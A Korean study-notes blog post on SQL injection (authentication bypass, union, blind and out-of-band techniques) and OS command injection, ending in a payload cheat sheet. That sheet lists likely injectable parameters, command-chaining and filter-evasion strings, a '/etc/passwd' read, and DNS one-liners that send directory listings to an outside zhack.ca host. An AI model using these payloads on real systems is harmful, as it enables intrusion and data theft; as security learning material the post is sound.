최근 보안관련한 지식에 관심이 생겨 조금씩 틈 날때 마다 알아보고 있다.
보안 이슈로 많이 발생하는 것 중에 하나인 SQL Injection을 알아보려고 한다.
SQL Injection?
SQL = DB의 정보를 조작(조회, 수정, 삭제 등)하기 위해 사용하는 구조화된 질의 언어
Injection = 주입
SQL Injection = 구조화 된 질의 언어를 주입하여 DB정보를 탈취하는 웹 해킹 방법
공격 종류
1. 인증 우회 공격( Boolean기반 Blind SQL Injection )
- 터미네이팅 방식(Termination Query) : --를 통해 쿼리를 주석처리 하여 뒷 구문을 잘라내는 방식
- 인라인 방식(In-Line Query) : 터미네이팅 방식으로 공격이 불가능 한 경우 조건식의 우선위를 이용하는 방식
공격 예시) 로그인 인증 쿼리가 SELECT * FROM MEMBER WHERE ID = '?' AND PW '?'; 라고 가정
터미네이팅 방식 | 인라인 방식 | |
계정을 알고 있는 경우 | ID 부분에 '계정명' -- '를 입력 => 뒤에 AND PW ~ 를 주석처리한다. |
ID 부분에 '계정명' OR '1' = '1'을 입력 => AND연산자가 OR연산자보다 우선순위가 높기 때문에 AND 검증 후 OR 검증 |
계정을 모르는 경우 | ID 부분에 '' OR '1'='1' -- '를 입력 => 1=1이 항상 True상태를 가지게 하여 무조건 통과 |
ID 부분에 '' OR '1'='1' OR '1'='1'을 입력 => 조건의 중간 OR의 좌우결과가 False이라도 True인 상태를 두어 통과 |
2. 데이터 조회 공격
- Error-Based (In-Band) : 어플리케이션 에러가 아닌 DBMS에러를 통해 공격자가 의도하는 데이터를 조회하는 기법
- Union-Based (In-Band) : 유니온 구문을 통해 DB가 반환한 데이터를 공격자가 의도한 대로 변조하는 공격
Order By를 통해 컬럼 개수 식별 가능 => Order By {컬럼개수}# : 출력 성공 / Order By {컬럼개수보다큰값}# : Error
SELECT * FROM MEMBER UNION SELECT NULL, NULL, ... => NULL 을 컬럼 갯수에 맞춰 사용하면 정보 조회 가능
- Blind-Based
DBMS 에러가 발생되지 않는 환경(Error-Based 혹은 Union-Based 공격이 불가능 한 상황)에서 사용
데이터를 반환하는 것이 아닌 응답값을 통해 데이터 추론
공격자가 자주 사용하는 이유 : Error-Based 혹은 Union-Based 공격이 가능한 환경이 많지 않음
데이터 추론 기법 3가지
- 순차 탐색
- 이진 탐색
- 비트 단위 탐색
- Out-Of-Band(OOB)
오래 전에 공개된 기법이기에 운영체제별, DBMS 종류별, 버전별로 공격이 불가능 할 수도 있음
paypal에서 발생한 취약점 때문에 아직까지도 실효성이 있다고 볼수있음
쿼리의 결과를 다른 외부 채널(HTTP 패킷 또는 DNS서버 질의)을 통해 전달하는 기법
데이터 조회 공격 프로세스
3. 시스템 명령어 주입 (OS Command Injection)
OWASP TOP 10 중 1위인 Injection의 유형 중 하나
취약한 애플리케이션을 통해 호스트 OS에서 시스템 명령을 실행하는 것이 공격 목표
해커가 서버 전체의 권한을 가질 수 있음
사용자 입력값에 필터링이 제대로 이루어지지 않을 경우 system(), exec()와 같은 OS 시스템 명령어를 실행
Parameters
다음은 코드 주입 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수입니다 (출처: link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
시간 기반 데이터 유출
데이터 추출: 문자 단위로
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS 기반 데이터 유출
https://github.com/HoLyVieR/dnsbin에서 제공되는 도구를 기반으로 하며, dnsbin.zhack.ca에서도 호스팅됩니다.
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
온라인 도구로 DNS 기반 데이터 유출을 확인할 수 있습니다:
- dnsbin.zhack.ca
- pingb.in
필터링 우회
윈도우
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
리눅스
#Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls %0A id # %0A Execute both (RECOMMENDED) #Only unix supported `ls` # `` $(ls) # $() ls; id # ; Chain commands ls${LS_COLORS:10:1}${IFS}id # Might be useful #Not executed but may be interesting > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command
'CS > Security' 카테고리의 다른 글
Apache access_log 분석 (0) | 2024.12.31 |
---|